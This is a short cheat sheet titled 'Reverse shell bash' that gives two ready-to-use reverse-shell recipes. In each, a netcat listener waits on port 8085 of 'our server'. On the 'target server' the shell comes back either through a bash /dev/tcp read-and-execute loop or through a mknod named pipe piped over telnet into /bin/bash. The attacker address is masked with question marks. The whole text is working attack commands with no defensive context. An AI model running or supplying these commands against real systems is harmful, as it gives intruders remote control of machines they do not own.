Reverse shell bash

our server

nc -l -p 8085 -vvv

target server

exec 5<>/dev/tcp/???.???.??.???/8085
cat <&5 | while read line; do $line 2>&5 >&5; done

—————————————

our server

nc -n -vv -l -p 8085

target server

mknod backpipe p && telnet ???.???.??.??? 8085 0<backpipe | /bin/bash 1>backpipe